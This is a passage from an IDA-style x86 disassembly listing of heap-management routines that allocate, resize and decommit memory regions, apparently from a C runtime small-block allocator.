[ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_38] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_420BDD mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl not eax mov ecx, [ebp+var_18] mov edx, [ecx] and edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_420BDD: ; CODE XREF: sub_4208D0+2F3j jmp short loc_420C4A ; --------------------------------------------------------------------------- loc_420BDF: ; CODE XREF: sub_4208D0+2AEj mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] and eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax mov eax, [ebp+var_38] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_38] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_38] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_420C4A mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl not edx mov eax, [ebp+var_18] mov ecx, [eax+4] and ecx, edx mov edx, [ebp+var_18] mov [edx+4], ecx loc_420C4A: ; CODE XREF: sub_4208D0+2A4j ; sub_4208D0:loc_420BDDj ... mov eax, [ebp+var_10] mov ecx, [eax+8] mov edx, [ebp+var_10] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+var_10] mov edx, [ecx+4] mov eax, [ebp+var_10] mov ecx, [eax+8] mov [edx+8], ecx cmp [ebp+var_8], 0 jz loc_420D80 mov edx, [ebp+var_14] mov eax, [ebp+var_4] lea ecx, [eax+edx*8] mov [ebp+var_C], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] mov ecx, [eax+4] mov edx, [ebp+var_10] mov [ecx+8], edx mov eax, [ebp+var_10] mov ecx, [ebp+var_10] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_420D80 cmp [ebp+var_14], 20h jge short loc_420D1A mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_420CF8 mov eax, 80000000h mov ecx, [ebp+var_14] shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx] or edx, eax mov eax, [ebp+var_18] mov [eax], edx loc_420CF8: ; CODE XREF: sub_4208D0+410j mov edx, 80000000h mov ecx, [ebp+var_14] shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+44h], eax jmp short loc_420D80 ; --------------------------------------------------------------------------- loc_420D1A: ; CODE XREF: sub_4208D0+3EEj mov eax, [ebp+var_38] add eax, [ebp+var_14] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_38] add edx, [ebp+var_14] mov al, [edx+4] add al, 1 mov edx, [ebp+var_38] add edx, [ebp+var_14] mov [edx+4], al test ecx, ecx jnz short loc_420D57 mov ecx, [ebp+var_14] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_18] mov edx, [ecx+4] or edx, eax mov eax, [ebp+var_18] mov [eax+4], edx loc_420D57: ; CODE XREF: sub_4208D0+46Aj mov ecx, [ebp+var_14] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_30] mov ecx, [ebp+var_38] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_30] mov edx, [ebp+var_38] mov [edx+ecx*4+0C4h], eax loc_420D80: ; CODE XREF: sub_4208D0+292j ; sub_4208D0+39Cj ... cmp [ebp+var_8], 0 jz short loc_420D9A mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax], ecx mov edx, [ebp+var_10] add edx, [ebp+var_8] mov eax, [ebp+var_8] mov [edx-4], eax loc_420D9A: ; CODE XREF: sub_4208D0+4B4j mov ecx, [ebp+var_10] add ecx, [ebp+var_8] mov [ebp+var_10], ecx mov edx, [ebp+var_28] add edx, 1 mov eax, [ebp+var_10] mov [eax], edx mov ecx, [ebp+var_28] add ecx, 1 mov edx, [ebp+var_10] add edx, [ebp+var_28] mov [edx-4], ecx mov eax, [ebp+var_4] mov ecx, [eax] mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov edx, [ebp+var_4] mov [edx], eax test ecx, ecx jnz short loc_420DF3 mov eax, [ebp+var_18] cmp eax, dword_4EFF74 jnz short loc_420DF3 mov ecx, [ebp+var_30] cmp ecx, dword_4EFF6C jnz short loc_420DF3 mov dword_4EFF74, 0 loc_420DF3: ; CODE XREF: sub_4208D0+501j ; sub_4208D0+50Cj ... mov edx, [ebp+var_38] mov eax, [ebp+var_30] mov [edx], eax mov eax, [ebp+var_10] add eax, 4 loc_420E01: ; CODE XREF: sub_4208D0+152j ; sub_4208D0+178j pop esi mov esp, ebp pop ebp retn sub_4208D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420E10 proc near ; CODE XREF: sub_4208D0+142p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4EFF78 cmp eax, dword_4EFF68 jnz short loc_420E6B mov ecx, dword_4EFF68 add ecx, 10h imul ecx, 14h push ecx mov edx, dword_4EFF7C push edx push 0 mov eax, dword_4EFF80 push eax call dword_4F147C ; RtlReAllocateHeap mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_420E53 xor eax, eax jmp loc_420F1B ; --------------------------------------------------------------------------- loc_420E53: ; CODE XREF: sub_420E10+3Aj mov ecx, [ebp+var_4] mov dword_4EFF7C, ecx mov edx, dword_4EFF68 add edx, 10h mov dword_4EFF68, edx loc_420E6B: ; CODE XREF: sub_420E10+Fj mov eax, dword_4EFF78 imul eax, 14h mov ecx, dword_4EFF7C add ecx, eax mov [ebp+var_4], ecx push 41C4h push 8 mov edx, dword_4EFF80 push edx call dword_4F1478 ; RtlAllocateHeap mov ecx, [ebp+var_4] mov [ecx+10h], eax mov edx, [ebp+var_4] cmp dword ptr [edx+10h], 0 jnz short loc_420EA5 xor eax, eax jmp short loc_420F1B ; --------------------------------------------------------------------------- loc_420EA5: ; CODE XREF: sub_420E10+8Fj push 4 push 2000h push 100000h push 0 call dword_4F1490 ; VirtualAlloc mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] cmp dword ptr [edx+0Ch], 0 jnz short loc_420EE2 mov eax, [ebp+var_4] mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4EFF80 push edx call dword_4F1480 ; RtlFreeHeap xor eax, eax jmp short loc_420F1B ; --------------------------------------------------------------------------- loc_420EE2: ; CODE XREF: sub_420E10+B6j mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0FFFFFFFFh mov eax, dword_4EFF78 add eax, 1 mov dword_4EFF78, eax mov ecx, [ebp+var_4] mov edx, [ecx+10h] mov dword ptr [edx], 0FFFFFFFFh mov eax, [ebp+var_4] loc_420F1B: ; CODE XREF: sub_420E10+3Ej ; sub_420E10+93j ... mov esp, ebp pop ebp retn sub_420E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420F20 proc near ; CODE XREF: sub_4208D0+15Bp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch mov eax, [ebp+arg_0] mov ecx, [eax+10h] mov [ebp+var_2C], ecx mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ebp+var_8], eax mov [ebp+var_28], 0 loc_420F3F: ; CODE XREF: sub_420F20+36j cmp [ebp+var_8], 0 jl short loc_420F58 mov ecx, [ebp+var_8] shl ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_28] add edx, 1 mov [ebp+var_28], edx jmp short loc_420F3F ; --------------------------------------------------------------------------- loc_420F58: ; CODE XREF: sub_420F20+23j mov eax, [ebp+var_28] imul eax, 204h mov ecx, [ebp+var_2C] lea edx, [ecx+eax+144h] mov [ebp+var_C], edx mov [ebp+var_20], 0 jmp short loc_420F80 ; --------------------------------------------------------------------------- loc_420F77: ; CODE XREF: sub_420F20+84j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax loc_420F80: ; CODE XREF: sub_420F20+55j cmp [ebp+var_20], 3Fh jge short loc_420FA6 mov ecx, [ebp+var_20] mov edx, [ebp+var_C] lea eax, [edx+ecx*8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_18] mov [ecx+8], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_18] mov [eax+4], ecx jmp short loc_420F77 ; --------------------------------------------------------------------------- loc_420FA6: ; CODE XREF: sub_420F20+64j mov edx, [ebp+var_28] shl edx, 0Fh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] add ecx, edx mov [ebp+var_10], ecx push 4 push 1000h push 8000h mov edx, [ebp+var_10] push edx call dword_4F1490 ; VirtualAlloc test eax, eax jnz short loc_420FD9 or eax, 0FFFFFFFFh jmp loc_42110A ; --------------------------------------------------------------------------- loc_420FD9: ; CODE XREF: sub_420F20+AFj mov eax, [ebp+var_10] add eax, 7000h mov [ebp+var_1C], eax mov ecx, [ebp+var_10] mov [ebp+var_4], ecx jmp short loc_420FF8 ; --------------------------------------------------------------------------- loc_420FEC: ; CODE XREF: sub_420F20+13Bj mov edx, [ebp+var_4] add edx, 1000h mov [ebp+var_4], edx loc_420FF8: ; CODE XREF: sub_420F20+CAj mov eax, [ebp+var_4] cmp eax, [ebp+var_1C] ja short loc_42105D mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0FFFFFFFFh mov edx, [ebp+var_4] mov dword ptr [edx+0FFCh], 0FFFFFFFFh mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov dword ptr [ecx], 0FF0h mov edx, [ebp+var_18] add edx, 1000h mov eax, [ebp+var_18] mov [eax+4], edx mov ecx, [ebp+var_18] sub ecx, 1000h mov edx, [ebp+var_18] mov [edx+8], ecx mov eax, [ebp+var_18] add eax, 0FECh mov [ebp+var_24], eax mov ecx, [ebp+var_24] mov dword ptr [ecx], 0FF0h jmp short loc_420FEC ; --------------------------------------------------------------------------- loc_42105D: ; CODE XREF: sub_420F20+DEj mov edx, [ebp+var_C] add edx, 1F8h mov [ebp+var_14], edx mov eax, [ebp+var_10] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+4], eax mov edx, [ebp+var_14] mov eax, [edx+4] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_1C] add eax, 0Ch mov ecx, [ebp+var_14] mov [ecx+8], eax mov edx, [ebp+var_14] mov eax, [edx+8] mov [ebp+var_18], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov dword ptr [ecx+eax*4+44h], 0 mov edx, [ebp+var_28] mov eax, [ebp+var_2C] mov dword ptr [eax+edx*4+0C4h], 1 mov ecx, [ebp+var_2C] movsx edx, byte ptr [ecx+43h] mov eax, [ebp+var_2C] mov cl, [eax+43h] add cl, 1 mov eax, [ebp+var_2C] mov [eax+43h], cl test edx, edx jnz short loc_4210ED mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_4210ED: ; CODE XREF: sub_420F20+1BCj mov edx, 80000000h mov ecx, [ebp+var_28] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_28] loc_42110A: ; CODE XREF: sub_420F20+B4j mov esp, ebp pop ebp retn sub_420F20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421110 proc near ; CODE XREF: sub_41FD20+50p ; sub_41FDD0+81p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 30h mov eax, [ebp+arg_8] add eax, 17h and al, 0F0h mov [ebp+var_1C], eax mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_30], edx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+0Ch] mov [ebp+var_C], ecx mov edx, [ebp+var_C] shr edx, 0Fh mov [ebp+var_4], edx mov eax, [ebp+var_4] imul eax, 204h mov ecx, [ebp+var_30] lea edx, [ecx+eax+144h] mov [ebp+var_8], edx mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+var_14], eax mov ecx, [ebp+var_14] mov edx, [ecx] sub edx, 1 mov [ebp+var_28], edx mov eax, [ebp+var_14] add eax, [ebp+var_28] mov [ebp+var_2C], eax mov ecx, [ebp+var_2C] mov edx, [ecx] mov [ebp+var_10], edx mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jle loc_421436 mov ecx, [ebp+var_10] and ecx, 1 test ecx, ecx jnz short loc_42119B mov edx, [ebp+var_28] add edx, [ebp+var_10] cmp [ebp+var_1C], edx jle short loc_4211A2 loc_42119B: ; CODE XREF: sub_421110+7Ej xor eax, eax jmp loc_4216F7 ; --------------------------------------------------------------------------- loc_4211A2: ; CODE XREF: sub_421110+89j mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_4211BB mov [ebp+var_20], 3Fh loc_4211BB: ; CODE XREF: sub_421110+A2j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_42129D cmp [ebp+var_20], 20h jnb short loc_421232 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_421230 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_421230: ; CODE XREF: sub_421110+106j jmp short loc_42129D ; --------------------------------------------------------------------------- loc_421232: ; CODE XREF: sub_421110+C1j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_42129D mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_42129D: ; CODE XREF: sub_421110+B7j ; sub_421110:loc_421230j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] sub eax, [ebp+var_1C] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jle loc_421417 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ebp+var_2C], ecx mov edx, [ebp+var_10] sar edx, 4 sub edx, 1 mov [ebp+var_20], edx cmp [ebp+var_20], 3Fh jbe short loc_4212F3 mov [ebp+var_20], 3Fh loc_4212F3: ; CODE XREF: sub_421110+1DAj mov eax, [ebp+var_20] mov ecx, [ebp+var_8] lea edx, [ecx+eax*8] mov [ebp+var_18], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_2C] mov ecx, [ebp+var_18] mov [eax+8], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_2C] mov [edx+4], eax mov ecx, [ebp+var_2C] mov edx, [ecx+4] mov eax, [ebp+var_2C] mov [edx+8], eax mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_421403 cmp [ebp+var_20], 20h jnb short loc_42139C mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_42137A mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax] or ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_42137A: ; CODE XREF: sub_421110+252j mov eax, 80000000h mov ecx, [ebp+var_20] shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+44h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+44h], ecx jmp short loc_421403 ; --------------------------------------------------------------------------- loc_42139C: ; CODE XREF: sub_421110+22Fj mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] add cl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], cl test edx, edx jnz short loc_4213DA mov ecx, [ebp+var_20] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, edx mov edx, [ebp+arg_0] mov [edx+4], ecx loc_4213DA: ; CODE XREF: sub_421110+2ADj mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] or ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx loc_421403: ; CODE XREF: sub_421110+225j ; sub_421110+28Aj mov ecx, [ebp+var_2C] mov edx, [ebp+var_10] mov [ecx], edx mov eax, [ebp+var_2C] add eax, [ebp+var_10] mov ecx, [ebp+var_10] mov [eax-4], ecx loc_421417: ; CODE XREF: sub_421110+1BBj mov edx, [ebp+var_1C] add edx, 1 mov eax, [ebp+var_14] mov [eax], edx mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [edx-4], ecx jmp loc_4216F2 ; --------------------------------------------------------------------------- loc_421436: ; CODE XREF: sub_421110+70j mov eax, [ebp+var_1C] cmp eax, [ebp+var_28] jge loc_4216F2 mov ecx, [ebp+var_1C] add ecx, 1 mov edx, [ebp+var_14] mov [edx], ecx mov eax, [ebp+var_1C] add eax, 1 mov ecx, [ebp+var_14] add ecx, [ebp+var_1C] mov [ecx-4], eax mov edx, [ebp+var_14] add edx, [ebp+var_1C] mov [ebp+var_14], edx mov eax, [ebp+var_28] sub eax, [ebp+var_1C] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_421487 mov [ebp+var_24], 3Fh loc_421487: ; CODE XREF: sub_421110+36Ej mov edx, [ebp+var_10] and edx, 1 test edx, edx jnz loc_4215D0 mov eax, [ebp+var_10] sar eax, 4 sub eax, 1 mov [ebp+var_20], eax cmp [ebp+var_20], 3Fh jbe short loc_4214AE mov [ebp+var_20], 3Fh loc_4214AE: ; CODE XREF: sub_421110+395j mov ecx, [ebp+var_2C] mov edx, [ebp+var_2C] mov eax, [ecx+4] cmp eax, [edx+8] jnz loc_421590 cmp [ebp+var_20], 20h jnb short loc_421525 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] and eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax mov eax, [ebp+var_30] add eax, [ebp+var_20] mov cl, [eax+4] sub cl, 1 mov edx, [ebp+var_30] add edx, [ebp+var_20] mov [edx+4], cl mov eax, [ebp+var_30] add eax, [ebp+var_20] movsx ecx, byte ptr [eax+4] test ecx, ecx jnz short loc_421523 mov edx, 80000000h mov ecx, [ebp+var_20] shr edx, cl not edx mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, edx mov edx, [ebp+arg_0] mov [edx], ecx loc_421523: ; CODE XREF: sub_421110+3F9j jmp short loc_421590 ; --------------------------------------------------------------------------- loc_421525: ; CODE XREF: sub_421110+3B4j mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov ecx, [edx+ecx*4+0C4h] and ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_30] mov [eax+edx*4+0C4h], ecx mov ecx, [ebp+var_30] add ecx, [ebp+var_20] mov dl, [ecx+4] sub dl, 1 mov eax, [ebp+var_30] add eax, [ebp+var_20] mov [eax+4], dl mov ecx, [ebp+var_30] add ecx, [ebp+var_20] movsx edx, byte ptr [ecx+4] test edx, edx jnz short loc_421590 mov ecx, [ebp+var_20] sub ecx, 20h mov eax, 80000000h shr eax, cl not eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] and edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_421590: ; CODE XREF: sub_421110+3AAj ; sub_421110:loc_421523j ... mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov eax, [ebp+var_2C] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_2C] mov eax, [edx+4] mov ecx, [ebp+var_2C] mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_28] add eax, [ebp+var_10] mov [ebp+var_28], eax mov ecx, [ebp+var_28] sar ecx, 4 sub ecx, 1 mov [ebp+var_24], ecx cmp [ebp+var_24], 3Fh jbe short loc_4215D0 mov [ebp+var_24], 3Fh loc_4215D0: ; CODE XREF: sub_421110+37Fj ; sub_421110+4B7j mov edx, [ebp+var_24] mov eax, [ebp+var_8] lea ecx, [eax+edx*8] mov [ebp+var_18], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov ecx, [eax+4] mov [edx+4], ecx mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx+8], eax mov ecx, [ebp+var_18] mov edx, [ebp+var_14] mov [ecx+4], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov edx, [ebp+var_14] mov [ecx+8], edx mov eax, [ebp+var_14] mov ecx, [ebp+var_14] mov edx, [eax+4] cmp edx, [ecx+8] jnz loc_4216DE cmp [ebp+var_24], 20h jnb short loc_421678 mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_421656 mov eax, 80000000h mov ecx, [ebp+var_24] shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, eax mov eax, [ebp+arg_0] mov [eax], edx loc_421656: ; CODE XREF: sub_421110+52Ej mov edx, 80000000h mov ecx, [ebp+var_24] shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+44h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+44h], eax jmp short loc_4216DE ; --------------------------------------------------------------------------- loc_421678: ; CODE XREF: sub_421110+50Cj mov eax, [ebp+var_30] add eax, [ebp+var_24] movsx ecx, byte ptr [eax+4] mov edx, [ebp+var_30] add edx, [ebp+var_24] mov al, [edx+4] add al, 1 mov edx, [ebp+var_30] add edx, [ebp+var_24] mov [edx+4], al test ecx, ecx jnz short loc_4216B5 mov ecx, [ebp+var_24] sub ecx, 20h mov eax, 80000000h shr eax, cl mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, eax mov eax, [ebp+arg_0] mov [eax+4], edx loc_4216B5: ; CODE XREF: sub_421110+588j mov ecx, [ebp+var_24] sub ecx, 20h mov edx, 80000000h shr edx, cl mov eax, [ebp+var_4] mov ecx, [ebp+var_30] mov eax, [ecx+eax*4+0C4h] or eax, edx mov ecx, [ebp+var_4] mov edx, [ebp+var_30] mov [edx+ecx*4+0C4h], eax loc_4216DE: ; CODE XREF: sub_421110+502j ; sub_421110+566j mov eax, [ebp+var_14] mov ecx, [ebp+var_28] mov [eax], ecx mov edx, [ebp+var_14] add edx, [ebp+var_28] mov eax, [ebp+var_28] mov [edx-4], eax loc_4216F2: ; CODE XREF: sub_421110+321j ; sub_421110+32Cj mov eax, 1 loc_4216F7: ; CODE XREF: sub_421110+8Dj mov esp, ebp pop ebp retn sub_421110 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4EFF74, 0 jz loc_42182C mov eax, dword_4EFF6C shl eax, 0Fh mov ecx, dword_4EFF74 mov edx, [ecx+0Ch] add edx, eax mov [ebp-4], edx push 4000h push 8000h mov eax, [ebp-4] push eax call dword_4F148C ; VirtualFree mov edx, 80000000h mov ecx, dword_4EFF6C shr edx, cl mov eax, dword_4EFF74 mov ecx, [eax+8] or ecx, edx mov edx, dword_4EFF74 mov [edx+8], ecx mov eax, dword_4EFF74 mov ecx, [eax+10h] mov edx, dword_4EFF6C mov dword ptr [ecx+edx*4+0C4h], 0 mov eax, dword_4EFF74 mov ecx, [eax+10h] mov dl, [ecx+43h] sub dl, 1 mov eax, dword_4EFF74 mov ecx, [eax+10h] mov [ecx+43h], dl mov edx, dword_4EFF74 mov eax, [edx+10h] movsx ecx, byte ptr [eax+43h] test ecx, ecx jnz short loc_4217B2 mov edx, dword_4EFF74 mov eax, [edx+4] and al, 0FEh mov ecx, dword_4EFF74 mov [ecx+4], eax loc_4217B2: ; CODE XREF: .nsp0:0042179Cj mov edx, dword_4EFF74 cmp dword ptr [edx+8], 0FFFFFFFFh jnz short loc_421822 cmp dword_4EFF78, 1 jle short loc_421822 mov eax, dword_4EFF74 mov ecx, [eax+10h] push ecx push 0 mov edx, dword_4EFF80 push edx call dword_4F1480 ; RtlFreeHeap mov eax, dword_4EFF78 imul eax, 14h mov ecx, dword_4EFF7C add ecx, eax mov edx, dword_4EFF74 add edx, 14h sub ecx, edx push ecx mov eax, dword_4EFF74 add eax, 14h push eax mov ecx, dword_4EFF74 push ecx call sub_41D520 add esp, 0Ch mov edx, dword_4EFF78 sub edx, 1 mov dword_4EFF78, edx loc_421822: ; CODE XREF: .nsp0:004217BCj ; .nsp0:004217C5j mov dword_4EFF74, 0 loc_42182C: ; CODE XREF: .nsp0:0042170Bj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421830 proc near ; CODE XREF: sub_420030+15p var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 168h mov eax, dword_4EFF78 imul eax, 14h push eax mov ecx, dword_4EFF7C push ecx call dword_4F1438 ; IsBadWritePtr test eax, eax jz short loc_42185B or eax, 